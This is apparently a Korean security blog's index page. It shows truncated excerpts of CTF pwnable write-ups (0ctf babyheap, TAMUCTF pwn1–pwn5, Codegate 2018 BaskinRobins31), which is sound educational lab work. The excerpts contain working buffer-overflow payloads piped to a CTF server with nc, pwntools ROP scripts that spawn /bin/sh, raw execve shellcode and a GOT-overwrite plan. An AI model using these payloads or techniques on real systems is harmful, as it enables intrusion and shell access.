1. IntroduceCodegate 본선이 하루 앞으로 다가와서 빠르게 heap-Technic을 익히고자 2017 0ctf babyheap write-up을 올려봅니다. 아는게 별로 없어서 여러 블로그 write-up들을 참고하면서 문제를 풀어보았습니다. 2. Analysis 주어진 바이너리를 살펴보면 메뉴 선택을 통해서 heap에 영역을 alloc, free, dump, fill 해줍니다. 여기서 fill 메뉴를 살펴보면 할당된 Index에 해당하는 영역의 크기만큼이아니라 직접 size를 조정해서 값을 넣어줄 수 있습니다. 이로보아 heap over flow가 일어나므로 chunk의 값들을 수정해줄 수 있겠네요. allocate 메뉴를 통해서 할당해준 힙의 영역을 gdb로 확인해 보았습니다. 순서대로..
바이너리를 살펴보니 동물 입력 3번을 받고 만약에 동물이름이 isoroku라면 플래그를 출력해 주는 것 같습니다. 그래서 그냥 동물 이름을 isoroku로 입력해주면 될거 같아서 넣어주었더니 문제가 발생했습니다. 동물이름이 cow,sheep,goat,hen 이 아니면 select_animals ,즉 동물의 이름이 저장되는 공간에 저장이 되지 않는 것입니다. strcmp로 이름 비교를 하게 되는데, strcmp는 “\x00” 즉 널 바이트까지를 비교대상으로 인식하므로 goat\x00isoroku 이런식으로 값을 넣어주게되면 isoroku 가 select_animals에 저장이 될 것입니다. 8byte씩 select_animals에 저장을 하므로 goat\x00\x00\x00\x00isoroku 이런식으로 ..
main함수가 print_beginning 함수를 호출하고 있어서 열어보았다. 대충 살펴보니 어디가 참가하라 이런 느낌의 바이너리인데 영어가 너무 많아서 해석은 하지않고 바로 취약한 함수로 넘어가겠다. 필요한 사항들을 다 입력하고 y를 입력하면 넘어오게 되는 first_day_corps라는 함수의 일부이다. first_day_corps 함수에서 2번 chagne_major 메뉴를 선택하면 호출되는 함수인데, 편의상 vuln이라고 함수 이름을 바꾸었다. 보면 dest라는 변수에 gets로 입력을 받는 것을 볼 수 있다. 그렇다면 BOF를 통해 EIP조작이 가능하다는 이야기다. NX가 걸려있어서 ROP를 그냥 진행해서 푸려고 보니까 파일이 static, 즉 정적으로 컴파일 되어있었다. 이 의미는 librar..
main함수에서 reduced_shell 이란 함수를 호출해 주고 있었다. 대충 살펴보니 system 명령어를 수행해주는 프로그램인 것 같았다. gets로 입력을 받으므로 BOF 취약점을 이용해 문제를 풀면 될 것 같고, NX가 걸려있으므로 ROP기법을 사용하면 될 것 같다. Full Exploit Code123456789101112131415161718192021from pwn import * #p = process("./pwn4")p = remote("pwn.ctf.tamu.edu",4324)e = ELF("./pwn4")rop = ROP(e)binsh="/bin/sh\x00" print p.recv() payload = "3"+"\x00"+"a"*30rop.gets(e.bss())rop.system..
바이너리를 열어보니 pwn2와 같이 echo함수를 호출하고 있었다. 또 gets로 입력을 받는 것을 알 수 있었고, 입력받는 변수의 주소를 출력해주고 있었다. 동적으로 exploit을 해야하기 때문에 코드를 짜고 NX가 걸려 있지 않으므로 쉘코드를 활용한 nop sled로 풀어보겠다. Full Exploit Code1234567891011121314151617181920from pwn import * p = process("./pwn3")#p = remote("pwn.ctf.tamu.edu",4323) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"..
main을 보니 echo라는 함수를 호출하고 있었다. echo함수를 보니 gets 로 s에 입력을 받는 것을 볼 수 있다. 이 부분에서 길이 검사를 하지 않으므로 Buffer over flow 취약점이 발생한다는 것을 알 수 있다. 그리고 바이너리를 조금 더 살펴보니 플래그를 출력해주는 함수가 있었다. EIP를 이 함수로 조작해주면 될 것 같다. print_flag = 0x0804854b Payload (python -c 'print "a"*243+"\x4b\x85\x04\x08"') | nc pwn.ctf.tamu.edu 4322 FLAG : gigem{3ch035_0f_7h3_p4s7}
주어진 바이너리를 IDA로 디버깅해보면 s를 입력받고 v5가 -267929071 이면 플래그를 띄워주는 것 같았다. s의 크기는 0x23 - 0xc = 0x17 즉 DEC= 23 이므로 23만큼 넣어주고 v5를 -267929071로 바꾸어주면 된다는 것을 알 수 있다. -267929071 은 demical이므로 hex로 바꾼 값을 리틀앤디안으로 v5에 넣어주면 될 것 같다. Payload (python -c 'print "a"*23+"\x11\xba\x07\xf0\xff\xff\xff\xff"') | nc pwn.ctf.tamu.edu 4321 FLAG : gigem{H0W_H4RD_1S_TH4T?}
Codegate 2018 BaskinRobins31 문제입니다. CANARY는 없고 NX만 걸려있는 것을 확인할 수 있습니다. 취약한 함수입니다. s를 0xA0 만큼 선언하고 read로는 0x190만큼 입력을 받습니다. 이 부분에서 buffer over flow 취약점이 발생합니다. 취약점을 바탕으로 64bit ROP해주면 됩니다. 공격 과정1. write함수를 이용하여 write_got를 Leak.2. Leak한 write_got를 system의 offset을 이용해 system의 주소구하기.3. read함수를 이용하여 .bss에 “/bin/sh”저장.4. read함수를 이용하여 write_got를 system의 주소로 got overwrite.5. write함수의 인자로 .bss 주기. 64bit에서..
- Total
- Today
- Yesterday
- TAMUCTF
- 클래스
- bugbear
- 0ctf
- 파이썬
- Pwnable.kr
- 올리디버거
- orge
- succubus
- OllyDbg
- lob
- ftz
- picoctf
- 비교 연산자
- luckyzzang
- Python
- zombie_assassin
- Codegate
- protostar
- babyheap
- 리버싱
- HarekazeCTF
- Nightmare
- 포너블
- Golem
- C언어
- darkknight
- BaskinRobins31
- angry_doraemon
- babypwn
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |